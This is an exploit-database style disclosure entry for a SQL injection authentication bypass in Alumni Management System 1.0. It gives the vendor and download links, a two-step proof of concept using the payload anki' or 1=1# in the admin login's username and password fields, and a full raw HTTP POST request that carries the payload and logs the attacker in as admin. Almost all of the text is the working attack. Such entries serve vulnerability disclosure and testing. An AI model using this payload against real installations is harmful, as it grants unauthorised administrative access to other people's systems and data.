Alumni Management System 1.0 SQL Injection

`#Exploit Title: Alumni Management System 1.0 - Authentication Bypass  
#Date: 2020-10-16  
#Exploit Author: Ankita Pal  
#Vendor Homepage: https://www.sourcecodester.com/php/14524/alumni-management-system-using-phpmysql-source-code.html  
#Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/alumni-management-system.zip  
#Version: V1.0  
#Tested on: Windows 10 + xampp v3.2.4  
  
  
Proof of Concept:::  
  
Step 1: Open the URL http://localhost:8081/alumni-management-system/alumni/admin/login.php   
  
Step 2: use payload anki' or 1=1# for both username and password.  
  
  
Malicious Request:::  
  
POST /alumni-management-system/alumni/admin/ajax.php?action=login HTTP/1.1  
Host: localhost:8081  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0  
Accept: */*  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 53  
Origin: http://localhost:8081  
Connection: close  
Referer: http://localhost:8081/alumni-management-system/alumni/admin/login.php  
Cookie: PHPSESSID=infdfigld4et4jndfgbn33kcsv  
  
username=anki'+or+1%3D1%23&password=anki'+or+1%3D1%23  
  
You will be login as admin of the application.  
`